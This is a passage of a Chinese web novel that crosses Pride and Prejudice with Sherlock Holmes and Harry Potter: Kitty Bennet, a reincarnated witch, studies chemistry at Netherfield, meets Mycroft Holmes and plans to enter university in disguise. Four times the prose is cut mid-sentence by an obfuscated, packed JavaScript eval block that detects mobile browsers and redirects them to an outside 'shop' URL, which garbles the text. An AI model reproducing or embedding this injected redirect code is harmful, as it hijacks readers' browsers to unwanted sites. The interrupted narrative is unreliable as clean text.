要与福尔摩斯先生斗智斗勇,提防着不被他看出一丝破绽。又得与班内特太太周旋,谨防一言不慎就被撮合成某位先生的妻子人选。 谁还记得她刚穿越来这个世界时最初的梦想? 梅林的袜子啊,她只是想来村里安静祥和地养老的。 班内特姐妹离开后,赫斯特夫妇也告辞回房了,客厅里便只剩下宾利兄妹、达西与麦克罗夫特四人。 宾利在另一张空着的长沙发上坐下,而宾利小姐则优雅地起身,缓缓踱步在客厅之中,裙摆的丝缎在地毯上发出细微的摩擦声。 “卡洛琳,你也来些茶点吧。”宾利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584300|187304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温声劝道。 “不了,查尔斯。”宾利小姐拒绝,“我已经坐了一整晚,现在只想起身走走。” 宾利感慨道:“女士们总爱在饮食上折磨自己,为了保持体态而放弃美食的乐趣。我真希望班内特小姐不要如此克己。得知她感染了风寒的消息,我担心得一晚上都没睡好。幸好医生说并无大碍,两三日便可痊愈。” 宾利小姐的目光轻轻一转,带着几分似笑非笑的意味:“但我想,亲爱的哥哥,你恐怕是这个屋子里最希望班内特小姐早日康复的人,同时,也是最不希望她太快康复的人。” 宾利一怔,随即红了耳根,支吾着笑了笑:“卡洛琳,你又取笑我了。” 宾利小姐轻轻扬眉:“我只是说了实话罢了。简小姐确实是位美丽的女士,但她的家庭,却未必与她的美丽相称。查尔斯,如果你只看到她的美丽而忽视了她的家庭背景,你恐怕会面临不小的困扰。” 达西眉头微蹙,他并不愿轻易评论一位女士的外在与家庭,但依旧觉得有必要提醒宾利:“你对班内特小姐的感情,不应只凭一时冲动,对方的态度和回应,同样重要。” 话音刚落,达西似乎意识到身边还有一位新客人,背后议论女士并非绅士之举,他便立刻收敛言辞,话未多说。 麦克罗夫特只见过凯瑟琳与伊丽莎白,但对于宾利兄妹提到的班内特家其他成员,也产生了几分好奇:“班内特家,难道有什么不为人知的丑闻?……或者,是某位家庭成员出了问题?” 达西看了他一眼,心知对方聪慧异常,已然猜到他们所指的正是班内特家的某些成员:“眼下在尼日斐花园的三位小姐,并无不妥,她们都是举止得体的年轻女士。” 宾利小姐停下脚步,在靠近达西的位置站定,接着他的话说道:“只不过,她们的父母与其他姐妹,就未必如此了。班内特家的三女儿,性格呆板,舞会时总是只顾自己弹琴,几乎不离开钢琴。至于琴技……恕我直言,远不如乔治安娜小姐。 她们的小妹妹,也就是班内特家的五女儿,过于活泼了,在舞会上叽叽喳喳,仿佛一只惹人厌的麻雀。而班内特太太,更是令人吃惊,她总在外人面前说些啼笑皆非的话,好让女儿们在外丢尽脸面。至于班内特先生,他根本不管女儿们的行为,任由她们的性格各自发展。” 麦克罗夫特倒觉得宾利小姐口中描述的这户鲜活的乡绅家庭颇有趣。他一向喜欢观察人,而家庭往往是性格特质的重要决定因素。了解一个人的家庭,几乎就能速写出其大致人格。 他对宾利小姐那带着讥讽的口吻置若罔闻,只点评道:“很有意思的乡绅一家。” 达西听罢,不免微微皱眉。他回想起今天下午麦克罗夫特向自己打听过的种种—— 凯瑟琳是否曾去过上次梅里顿舞会,舞会上的社交表现如何,是否曾突然离场躲避单身男士的邀舞。 再到刚才凯瑟琳离开时,麦克罗夫特特地向她一个人道了晚安。 这一连串细节,让达西心中生出一个猜测。 他开口提醒道:“福尔摩斯先生,我想,宾利小姐刚才对宾利说的话,你也听到了吧。” 15. 第 15 章 “当然,达西先生。” 麦克罗夫特显然并不打算在这个话题上多费口舌。达西看着他那始终从容的神情,心底的几分疑虑终究没再出口。 忙碌而充实的一天在尼日斐花园的客厅灯火中落下了帷幕。 翌日清晨,天色刚亮。凯瑟琳与伊丽莎白便早早起身,到简的房间陪她一同用早餐。 用完餐后,简服了药,靠在枕上不多时便又沉沉睡去。两人轻手轻脚地离开房间,商量着趁此空闲,去看看尼日斐花园的藏书。 宾利先生听闻她们想借阅书籍,欣然应允。 尼日斐花园的藏书以文学经典与宗教哲学为主,自然科学类的书寥寥无几。凯瑟琳在翻阅书架时,倒是意外找到了一本罕见的旧书,是David Ames Wells 于1858年所著的《Wells''s Principles and Application of Chemistry》*1。 她记得,这正是后世中国第一本近代化学理论教科书《化学鉴原》的原版,由清代科学家徐寿与英国传教士傅兰雅于1871年在江南制造总局翻译馆译制成书。 凯瑟琳颇感惊喜,眼前这一册是1858年出版的初版书籍,纸页泛黄却保存完好,全书一共五百多页,捧在手里沉甸甸的。 书中的许多内容对她来说已经非常滞后了,与后世的理论和实验都有了不小的差别,却依旧让她读得津津有味。 每当兴致所至,她便取来纸笔,将书中与后世理论有所不同、或已被改进的部分一一记下,对照分析,以此加深自己的理解与旧时所学知识的记忆。 这三天里,她几乎一有空闲,便抱着那本书坐在客厅窗前的扶手椅上阅读。 阳光透过厚重的窗幔,洒在泛黄的书页上,也在她微垂的睫羽与浅棕色发梢间跳跃,映出一层静谧的金辉。 宾利小姐踱步至伊丽莎白身后,目光落在扶手椅上埋首读书的凯瑟琳身上,轻声说道:“凯瑟琳小姐在朗博恩时,也总是这样热爱阅读吗?” 伊丽莎白放下手中的莎士比亚诗集,抬眸微笑:“阅读是个好习惯,宾利小姐。” “我很赞同你的说法,伊丽莎白小姐。” 宾利小姐垂眸扫了一眼伊丽莎白放在大腿上的诗集,又道:“诗集是一个很好的阅读选择,一个喜爱诗的女人,一定有着浪漫的情怀。不过……” 她顿了顿,目光又转向凯瑟琳,“恕我无法苟同,一位年轻未婚的小姐,怎会对自然科学的书籍产生兴趣?那类书籍的初衷,是为绅士们开拓见识的,不是吗?” 伊丽莎白挑了挑眉,带着几分无奈:“书籍只是书籍,宾利小姐,它本身并没有性别之分。” “但是看书的读者却有性别之分,伊丽莎白小姐。我并非苛责,只是陈述现实罢了。” “凯蒂不过是选择了一本自己感兴趣的书来读。”伊丽莎白不动声色地替妹妹解围。 “她已经花了整整三天的时间在那本书上,”宾利小姐语气微转,带着几分讥诮,“我真好奇,她是否真的读懂了那些深奥的科学原理。或许,她只是希望在众多女士中显得与众不同。” 伊丽莎白顺势瞥了一眼那本厚得惊人的书,它在凯瑟琳的手里显得和尼日斐花园房子上的砖头一样厚实,她语气顿了顿:“或许是因为书籍页数太多,内容太丰富,所以凯蒂才不得不多花一些时间去阅读。” “凯瑟琳小姐似乎太过投入了,伊丽莎白小姐,”宾利小姐掩唇轻笑,“难道她打算以后不嫁人了,像一个男人一样去大学院校中深造,做一个科学家吗?” 伊丽莎白几乎要脱口而出一句 why not,可终究还是忍住了。她明白,在当下这样的社会里,那样的回答并不被容许。 “谁要做科学家?” 就在这时,一道轻快的男声从门口传来。 三人回头,只见宾利先生正站在客厅门口,脸上带着真挚的好奇。 他显然是刚走进来,就听见了妹妹的最后一句话。对于这三位年轻女士竟会谈论起科学这种话题,他感到颇为意外。毕竟,在他的印象中,女士们聚在一起,多半只会聊些家长里短、舞会趣闻或时装流行罢了。 “你们今天回来得真早,查尔斯。今天又去了哪里?” 宾利小姐的目光越过哥哥,果然在他身后看到了达西与麦克罗夫特。 这几天三位男士几乎不着家,每天都骑着马出去活动。 刚开始的时候,他们兴致勃勃地骑马到附近打猎,猎了一整日,便嫌无趣。接下来的两天,又每日一早往梅里顿跑。昨天甚至没有回到尼日斐花园吃晚饭,而是与驻扎在梅里顿的民兵团军官们共进了晚餐。 凯瑟琳手中的书,自宾利小姐与伊丽莎白说话起便再未翻动。她的目光似乎仍停在字里行间,心神却早已不在。 宾利小姐方才那句带着几分讥讽的话语,反而点醒了她。 是啊,她怎么没有想到呢?她也可以去读大学啊! 即使现在女性读大学有诸多的限制,十分不方便,但是用一些小小的易容术伪装成男性入学,根本难不倒她。 宾利端起一杯水一饮而尽,兴致盎然地说道:“卢卡斯爵士听说尼日斐花园来了位新客人,便热情地邀请我们去他家中做客。之后我们又一起去了梅里顿,卢卡斯爵士特意带着我们重访上次舞会的宴会厅。噢,不对,确切地说,是带着福尔摩斯先生参观的。他对那场乡村舞会似乎抱有极大的兴趣。” “我从未参加过任何乡村舞会,宾利先生。能在梅里顿感受一下乡村舞会的宴会厅氛围,也算是一种新鲜的体验。” 麦克罗夫特在靠近窗边的单人沙发上坐下,说话间余光扫过了不远处的凯瑟琳。 宾利小姐轻笑出声:“相信我,福尔摩斯先生,你不一定会对真正的乡村舞会感兴趣的。那可与你在伦敦参加过的任何上流人士或贵族们举办的舞会完全不同。” 麦克罗夫特不置可否:“很遗憾,宾利小姐,我几乎没有参加过任何舞会。” 宾利小姐将信将疑:“这怎么可能呢?福尔摩斯先生,我听说你已经为首相先生工作了三年了。” 有哪个首相的近臣,会从不出席社交名利场的? 麦克罗夫特耸耸肩:“多亏首相先生是一位仁慈的绅士,允许我保持这一点小小的任性。我向来不喜欢应酬。若将来有机会,我大概会创立一个禁止交谈的俱乐部。” 宾利吃惊地瞪大眼睛:“不能说话的俱乐部?这也太古怪了吧!” 原本还沉浸在自己的世界里,思索上大学计划中的凯瑟琳,听到麦克罗夫特的话,忍不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584301|187304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住笑出了声。 这不就是典型的社恐人士吗? 一个不许说话的俱乐部,怕是所有社恐都会排着队报名加入吧。 不过……这种俱乐部的说法,怎么听着有点耳熟? 她还没想明白,就听宾利又热情地道:“福尔摩斯先生,你在尼日斐花园小住的这段时间,我一定要再举办一次舞会!你可一定要参加。虽然未必能像梅里顿那场那样充满乡村风味,但我保证,你一定会爱上跳舞的。” 啧啧,社恐遇上快乐小狗,如果是真正的社恐人士一定会尴尬到爆炸吧。 这么想着,凯瑟琳抬眸望向麦克罗夫特。 那人神情如常,既没有被冒犯的无措,也未显尴尬的拘谨,只微笑着应下了宾利的提议。 看来这位福尔摩斯先生并不是真的怕社交,他只是懒得应酬罢了。 宾利将舞会的好处天花乱坠地说了一通,好不容易才停下来,端起茶杯抿了一口,这才忽然想起自己刚才的问题还没人回答。 “对了,”他一拍大腿,神色认真起来,“刚刚你们三位小姐是在说谁要成为科学家呢?” 凯瑟琳一时间有些无语地抬头看向他。 不是,哥儿们,你这思维跳得也太快了吧? 宾利小姐显然也没料到哥哥会忽然把话题绕回来,只得略带尴尬地笑了笑,道:“是我和伊丽莎白小姐在闲聊。凯瑟琳小姐已经沉迷那本科学书籍整整三天了,我还打趣说,再看下去,朗博恩恐怕就要诞生一位女性科学家了。” 话音一落,众人的目光不约而同地落在凯瑟琳手里的那本厚书上。 宾利饶有兴致地问:“凯瑟琳小姐,能让我看看吗?你看的是什么书?” “David Ames Wells 的《Wells''s Principles and Application of Chemistry》,”凯瑟琳将封面略微转向他们,“是我在尼日斐花园的藏书中找到的。” “化学?”宾利震惊,“凯瑟琳小姐,你看得懂化学书籍?” 凯瑟琳不想表现得太多,毕竟以她现在的身份,人设不应该是一个懂化学的人。 “略懂一些吧。我父亲的书房里也几本化学的藏书,从小见得多了,就想翻翻看。” 宾利由衷赞叹:“现在的小姐们果真是多才多艺。” 宾利小姐不以为然,信步走到正在书桌前写信的达西身边,语气微酸,“女士的多才多艺,应当是琴棋书画、礼仪语言、仪态舞蹈等等,每一样都得精通。就像乔治安娜小姐那样,才是真正的淑女。达西先生,你这是在给乔治安娜小姐写信吗?若是,请代我向她问候。” 达西头也不抬,淡淡道:“信里写不下这么多,下次你亲自向她问候吧。” 宾利小姐噎了一下,见达西并不想多言,只得悻悻地退到一旁,又重新将矛头对准凯瑟琳。 “要我说,科学原本就是绅士们用以开拓视野的学问。女士们涉足其中,未免不太得体。你说呢,凯瑟琳小姐?” 才清静了三天,宾利小姐的火力又恢复如初。 凯瑟琳叹了一口气,正想要反驳。 却不想一道低沉稳重的男声率先开了口: “恕我直言,宾利小姐,我并不能认同你的观点。” 16.第 16 章 “1861年,法国索邦大学正式授予一位女性学士学位。此后,法国各大高等学府也陆续向女性开放入学。我几乎可以肯定,在进入二十世纪后,法国的女性都能在大学中接受教育并获得学位。 这些都无一不在证明,女性进入高等学府,并非异想天开。英国或许迟缓,但终究会追随这一潮流,全面开放女性入学、考试与学位授予,这些只是时间的问题。”*1 宾利小姐显然被这番话震住,一时不知该如何反驳,只能抿紧嘴唇。 麦克罗夫特顿了顿,转头看向凯瑟琳,“不知道凯瑟琳小姐的法语如何?若是足够精通,我倒是非常建议你前往法国求学。比起英格兰的乡村,那里或许更适合你。” 凯瑟琳微笑:“谢谢你的好意,福尔摩斯先生。但恐怕我的法语水平,还不足以支撑我完成一整个全法语的大学课程。” 麦克罗夫特:“作为一名英语母语者,学习法语其实并不困难。我的祖母是法国人,得益于她的影响,我自幼便能说一口流利的法语。事实上,与英语同属日耳曼语系的德语,我也仅仅花了一天的时间学习,便能进行日常沟通。” 凯瑟琳:“……” 她差点没忍住叹气。 这种程度已经足以让人忽略他是不是在凡尔赛了。 毕竟,真正的天才,总能在不经意间让普通人觉得自己是条没脑子的金鱼而无地自容。 然而,麦克罗夫特的建议对她而言并非毫无意义。 法国的确是一个不错的选择。与其留在英格兰,为了能继续学习而小心翼翼地掩饰身份,顾忌流言,不如去一个早已向女性敞开高等学府之门的国度。 在那里,女性接受教育早已不再是新闻。无论是社会舆论、学术氛围,还是对女性从事科研工作的支持,法国都远远领先于英国。 但她心底那道隐秘的阴影仍在,也许是与伏地魔的战争留下的后遗症。 她记得自己如何在战前亲手抹去父母的记忆,如何将自己在那个家中的一切痕迹都彻底消除。 她上一世的父母此生再也不会知道,他们的女儿其实早已死在了另一个他们无法接触的世界的战争中。 如果历史进程不改变,那么再过十几年,欧洲大陆将要迎来第一次世界大战。她不想在发生战争的时候离开家人。 那种离别太痛,她不想再来一次。 更不想在另一个战争的前夜,再次孤身漂泊。 她掩下思绪,轻声回应:“事实是,福尔摩斯先生,恐怕并不是所有人都像你那样天赋卓绝。” 麦克罗夫特露出了一个颇感遗憾的表情,神色间闪过一丝玩味的笑意:“或许吧。” “一天?”宾利终于反应过来,震惊地瞪大了眼,“福尔摩斯先生,你只花了一天就学会了德语?天哪,这简直是天才的所为。我当年学习法语,可整整花了一年,才敢与人勉强对话。” 原本正在写信的达西此时放下手中的笔,抬眼沉思片刻:“福尔摩斯先生,你知道英国目前有哪所大学,能为女士提供教育并授予学位吗?” 麦克罗夫特:“据我所知,伦敦大学是第一个向女性开放并授予学位的英国学府。” 宾利感叹:“达西,你是不是在考虑让乔治安娜小姐也去大学深造?” 达西点了点头:“若她有此意愿,我当然会支持。” 这句话令伊丽莎白一愣。 她原本以为,像达西这样出身高贵性情持重的绅士,对女性教育的看法应当与宾利小姐无异。 毕竟他们看起来都是那种保守且傲慢的上等人,对于女性接受高等教育这样新鲜的事物应该无法接受。 从宾利兄妹这几日提到乔治安娜小姐的话里足以窥见,达西虽然不遗余力地培养妹妹,却仍旧沿着传统的轨迹在塑造她,牢牢限定在淑女的框架之中。 可此刻,他却显得格外真诚。 她忽然意识到,这个看似高傲拘谨的男人,或许比她想象的更加清醒,也更加宽容。 “咚咚——” 客厅的门口传来两声敲门声,是管家来通报。 “先生女士们,有客人来访。是班内特太太和两位班内特小姐。” 宾利立刻坐直身来:“快请她们进来。” “噢!”伊丽莎白啪地合上手里的书。 她想起来,这两日简的病情已大好,昨天晚饭前,她便让人给朗博恩送了信,请母亲今日派马车来接她们回家。 于是她转向宾利解释道:“是我的母亲来接我们了,宾利先生。” 宾利在今天早餐时,就已经被伊丽莎白告知了她们打算回家的事情。他还特意挽留了一番,认为简的病方好,不宜劳顿,完全可以在尼日斐花园再多留几天。 然而,这一提议被伊丽莎白婉言谢绝。不论如何,单身未婚的年轻小姐长时间借宿在无亲缘关系的单身男士家中,终究不合礼法。 “宾利先生,下午好!” 哪怕有三个女儿不在家,班内特太太看起来也过得很不错。那中气十足的问候声,一点儿也看不出来她平时嚷嚷着神经痛的虚弱样子。 她一进门,目光就四处打量,热情地赞叹尼日斐花园的宽敞与陈设的华丽,又一连串夸赞宾利的好眼光,选中了赫斯福特郡最漂亮的房子。 直到说到兴头上,她才忽然注意到客厅角落里还坐着一位陌生的高大绅士。 这位男士不仅身高能与达西媲美,长相也十分俊朗端正,看起来就是一位得体的绅士。 她当下就猜到了,这位一定是昨日卢卡斯太太口中一直念叨着的,宾利先生和达西先生在伦敦政界的朋友。 班内特太太那双善于发掘每一位优质单身男士的眼睛登时就亮了,“这位是?” 宾利立刻顺势介绍:“这位是福尔摩斯先生,是我的朋友,近日正好休假,我便邀请他到尼日斐花园中小住几日。” 麦克罗夫特点头,微微一笑:“你好,班内特太太。我是麦克罗夫特·福尔摩斯。” “哈哈,你好你好!我是简、伊丽莎白和凯瑟琳的母亲。我身边这两位也是我的女儿,玛丽和莉迪亚。” 班内特太太的笑声差点没收住,眉眼都快眯成一条线,心脏激动得要跳出嗓子眼儿了。 上天待她班内特家真是不薄。 短短数日内,尼日斐花园竟汇聚了三位身份不凡的单身男士。 两位家财万贯,还有一位据说是首相先生的近臣。 她几乎能听见自己心中那噼啪作响的算盘声。 看着母亲那双因兴奋而闪亮的眼睛,凯瑟琳不禁在心底叹了口气。 再看向伊丽莎白,两人对视一眼,都在彼此的眼中看见了无奈与尴尬。 宾利与达西的身家性情早已被村里各位太太们反复拆解过,如今又来了个新的单身绅士,且自己是第一批能与他见面的,班内特太太自然不会放过这个打探消息的好机会。 “福尔摩斯先生要在尼日斐花园休假多久?” “大约一个月。” “一个月!”班内特太太惊喜得眉开眼笑,“那可太好了,足够让你熟悉我们这片可爱的乡村。相信我,这里的风景和空气可比伦敦好得多,你会舍不得离开的。” 麦克罗夫特微笑:“我已经在享受乡村的美好了,班内特太太。” “你应该多社交,乡村的姑娘们可是比伦敦的小姐们更爽朗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16585911|187304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 健谈。若是能再办一场舞会,你一定得参加!” 宾利简直是尼日斐花园的捧哏大王:“班内特太太,我想福尔摩斯先生其实已经和乡村小姐相谈甚欢了,这几日他与凯瑟琳小姐几乎无话不谈。” 凯瑟琳惊骇地瞪大眼:“……” 不是吧老哥?到头来是你出卖我? 班内特太太闻言喜形于色:“真的吗?我就知道,我就知道。凯瑟琳的见识是所有姐妹里最广的,她一定能和在政府工作的绅士谈得来。” 莉迪亚一听到舞会就兴奋得几乎跳起来:“宾利先生,你一定要在尼日斐花园再办一次舞会!你一定要答应我这个小小的请求,尼日斐花园的舞会大家一定会穿上最好看的礼服来参加的!” 一直不吭声的玛丽也忍不住尴尬地瞥了一眼身边的母亲和妹妹,“莉迪亚,冷静些。” 宾利小姐的目光滑向麦克罗夫特,唇角微扬。 那表情就像是无声地在说:“看,我说得没错吧?班内特一家就是这么上不得台面。” 麦克罗夫特眼角却带出一丝笑意。 余光中,他看见凯瑟琳正抬手捂着额头,一副想立刻消失的模样。 “噢,当然,当然!”宾利愉快地拍手,“我正有此意,福尔摩斯先生对乡村舞会也有极大的兴趣。” “天哪!”班内特太太惊喜道,“一位喜爱舞会的先生!这可真难得,要知道,上次在梅里顿的舞会上居然有绅士不喜欢跳舞,实在令人震惊。” 她这话几乎就差把当事人的名字直接点出来了。 伊丽莎白与凯瑟琳对视一眼,都忍不住偷笑。 果然,达西的脸色隐隐发青。 他原本不想理会班内特太太的喋喋不休,偏偏此刻抬眼,就撞见麦克罗夫特似笑非笑的神情。 对方显然猜到了班内特太太在说谁。 达西:“……” 这种时候倒也不必如此敏锐。 “福尔摩斯先生,我的女儿们可都是出色的舞者。到时候,你可以与她们中的任何人跳上一支舞。要我说,整个梅里顿都没有比朗博恩的小姐们更擅长跳舞的姑娘了!” “我的大女儿简,是十里八乡的美人儿,舞姿优美典雅。当然,我想宾利先生一定不会放过与她共舞的机会。我的莉兹和玛丽更喜欢书本和钢琴,但她们的舞步也相当出色。” 伊丽莎白忍不住低声劝阻:“妈妈……” “至于莉迪亚,她活泼开朗,能跳一整晚。还有我的四女儿凯蒂,她可是在伦敦女子精修学校学习了许多年,舞蹈乐器样样精通。上次在梅里顿的舞会上,全场的单身男士都争相邀请她跳舞……” 凯瑟琳:“……” 如果脚趾能抠地,她现在已经拥有一幢比尼日斐花园更奢华的房子了。 她急忙打断班内特太太:“妈妈!妈妈!简还在房间里,我们快去帮她收拾行李吧。我想爸爸自己在家一定已经很想念我们了。” 伊丽莎白手疾眼快地打配合,一把揽住母亲的肩膀,往门口挪。 但班内特太太仍恋恋不舍地回头,对麦克罗夫特笑着说:“福尔摩斯先生,若是你想邀请凯蒂跳舞,可得早早行动,别怪我没提醒你,她可太受欢迎啦!” 凯瑟琳:“……” 救命啊,人为什么不能随时变成土地爷遁地离开? 这比她在任何版本的影视剧上看到的情节都更让她真切体会到,班内特太太那种不合时宜的出言无忌所带来的尴尬。 看着脸快皱成一团的凯瑟琳,麦克罗夫特这下再也忍不住,大笑出声。 在班内特太太期许的目光下,他点点头: “我会的,班内特太太。” 17.第 17 章 从尼日斐花园回家后,凯瑟琳就开始为上大学做准备工作。 朗博恩并不是一个适合炼制魔药或频繁使用魔法的地方。她花了两天时间,在离家不远的林子里找到一棵枝桠茂密、看起来格外适合建树屋的大树。 之后又花了三天,在魔法的协助下,为自己造出了一座隐秘的树屋。她还在周围施下麻瓜驱逐咒,防止有人误入此地。 虽然并未使用攻击性咒语,但由于频繁施咒,她的举动还是引起了魔法部的注意。 树屋刚建成的第二天,凯瑟琳便在林间看见了加雷斯的身影。 “加雷斯?你怎么会在这里?” 凯瑟琳正提着一个施了空间延展咒的箱子,从家往树屋搬东西。 加雷斯解释道:“魔法滥用办公室最近收到报告,魔法部的探测系统发现这片区域有频繁的魔法活动。” 凯瑟琳一脸诧异:“你不是傲罗吗?怎么是你来?而且我也没收到猫头鹰送来的警告信。” 事实上,任何成年的巫师在没有被麻瓜目击的情况下,使用一些家务小魔法——比如清洁咒、修补咒、煮茶咒、照明等等,魔法部一般都是不会干涉的。 这也是凯瑟琳放心大胆使用魔法协助建造树屋的原因。 加雷斯挠挠后脑勺,有些不好意思地笑道:“我早上路过魔法滥用办公室,听见他们在讨论要不要派人来查查。” 凯瑟琳恍然大悟:“……啊,所以你就自告奋勇来了?你们傲罗的工作这么清闲吗?还有时间去帮其他部门的同事干活儿呢?” 加雷斯:“前阵子刚处理完黑魔法事故的后续工作,这几天确实闲些。我是因为猜到他们说的人有可能是你,所以才主动要求来的。毕竟我们是熟人……我想你大概也不想和魔法部的其他人周旋这些小问题。” 凯瑟琳颔首,感激道:“确实,这么说来还得感谢你。晚上要不要留下来吃饭?我家今晚有大餐。” “谢谢,不过不了。我只是来确认情况的,知道是你在使用魔法就好。”加雷斯顿了顿,好奇道,“你们家今日是有什么事情要庆祝吗?” “没有,只是我的一个远房表哥要来做客……谢谢。” 凯瑟琳边说边踩上木梯,加雷斯接过她的箱子,示意她先上去,他再把箱子递给她。 “远房表哥?” “嗯,一个要继承我父亲全部不动产,却从未谋面的远房表哥。”凯瑟琳接过箱子,邀请加雷斯也上来,到树屋里坐一坐,“上来吧,至少喝一杯茶再走……这位表哥恐怕还想娶我父亲五个女儿中的一个,以此表达他得到这笔‘意外之财’的感恩。” 加雷斯弓着腰进入树屋的大门。他的个子高,屋内空间对他来说略显局促,他不得不找了把椅子坐下,好让头顶不碰到横梁。 凯瑟琳看出了他的窘迫,“不好意思,这间树屋是按照我的身高来做的,对你来说可能有些矮了。” 她的身高只有一米六五,因此在建造树屋的时候,并没有把顶梁放得很高。 “没事,没事。”加雷斯摆摆手,又继续刚才的话题,“为什么你父亲的财产是由你的远房表哥来继承?你的父亲不是还有五个女儿吗?” 凯瑟琳举起魔杖,施咒煮起一壶茶,给他倒了一杯,又轻轻一挥,让茶杯稳稳漂到他手中。 “虽然我一直觉得魔法界比麻瓜界更古板,但在男女平权的问题上,说实话,魔法界的确比麻瓜界高明得多。” 这就是魔法的好处了。 力量才是根基。魔法的实力是决定一个巫师是否会受到尊重的重要因素之一,而实力不以性别之分。 凯瑟琳接着解释道:“朗博恩庄园有限定继承的法律要求。所以在我的父亲过世后,我和我的姐妹们都不会继承现在生活的这幢房子。我们为数不多能得到的父母恩惠,只是每人一千英镑的嫁妆,和一些珠宝首饰。” 加雷斯不可置信:“这也太不讲理了。怎么能剥夺亲生孩子继承父母遗产的权利呢?” 凯瑟琳耸耸肩:“麻瓜的法律嘛……不说这个了,上次的事件后续如何了?” “特雷斯坦·维尔已经被送进阿兹卡班了。那条红宝石项链,也进了神秘事务司。” “听起来是一个顺利的结局。” “是的,多亏了你当时的帮忙。” “小事一桩,不足挂齿。对了……魔法部部长最近去见麻瓜首相了吗?” “去了,毕竟这次事件中有一个无辜的麻瓜被杀害,部长是一定会去向麻瓜首相传达消息的。”见凯瑟琳神色若有所思,他又问:“怎么了?” “没什么。”凯瑟琳语气顿了顿,“我对魔法部的相关规则和法条并不熟悉,就是好奇,麻瓜首相是不是被禁止泄密魔法界的存在?” “当然,每一任新的麻瓜首相都会被魔法部部长亲自下誓约性魔咒,这有点类似牢不可破誓言咒。但是违约不会致死,只会变得记忆模糊,然后最终淡忘一切与魔法有关的事情。而当他们离任时,就会有魔法事故和灾害司的记忆咒专家来消除改写他们的记忆。” “那有没有可能,麻瓜首相可以通过一些间接的手段来向其他人传递消息,泄密魔法界的存在?” 加雷斯微微蹙眉,认真地思考了这个问题,语气含糊地回答:“应该……不可能吧?毕竟百年来从未有过这样的事情出现。” “上次被杀害的麻瓜,你们是怎么处理的?” 凯瑟琳上次只负责帮忙消除梅里顿目击者们的记忆了,并没有见到那位可怜人,也不知道魔法事故和灾害司的人是怎么善后这类事件的。 “通常来说就是用一些记忆混淆咒,让所有见到死者尸体的人都认为死者是死于突发疾病。如果死者表面有明显外伤的话,就让他们以为是意外或暴力伤害所致。” 凯瑟琳点点头,端起茶杯饮了一口。 加雷斯也抿了一口茶,“对了,你上次的提议,泰特已经往上报了,不过我想短时间内恐怕不会有结果。” “没事,我不着急。我最近找到了一个新目标,大概会挺忙的。” “新目标?” “是的,我打算上大学。” “大学?” “就是学习专业知识的学校,在麻瓜界中,通常只有男性有权利进入这样的高等学府学习,并获得学位证书。” 加雷斯一听又是只有男性才能这样,眉头又蹙了起来。他不是一个对麻瓜抱有偏见歧视的纯血巫师,但实在是无法苟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16591906|187304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同麻瓜的这些规则。 “既然只有男性才能进入这些学校,那你打算怎么让自己入学呢?” “我打算伪造一个男性身份。” “伪造?怎么伪造?” “我建造这座树屋的目的就是为了有一个足够隐蔽的地方,能让我研制出一款可以改变外在局部特征的复方汤剂。” 加雷斯担忧:“可是长时间服用复方汤剂是有副作用的。” “我知道,所以复方汤剂只是辅助,我还会配合使用变形类的咒语。”对方的眼神里满是忧虑,凯瑟琳补充道,“放心,我会小心不让任何麻瓜看到我使用魔法的过程的。” 可加雷斯还是不认同她这样的决定,“如果麻瓜界让你生活得如此不便,甚至让你感到不舒服,你应该考虑回到魔法界中。” 凯瑟琳知道对方说的话是出于好意,但是她并不愿意与外人仔细说道自己的思虑。 她的语气坚定:“谢谢你,加雷斯。但是我的家人都在麻瓜界,他们是我在这个世界上最珍爱最珍惜的人。我不想离开我的家人们,到一个他们接触不到且无法理解的世界中生活。我的能力不仅仅是用来实现我个人的理想抱负的,我还希望我的能力可以保护我的家人不受到任何伤害。” 送别加雷斯后,凯瑟琳花了整个下午整理树屋,将一切布置妥当,方才慢悠悠地回到朗博恩。 一进家门,就听见客厅里传来一道滔滔不绝的陌生男声。 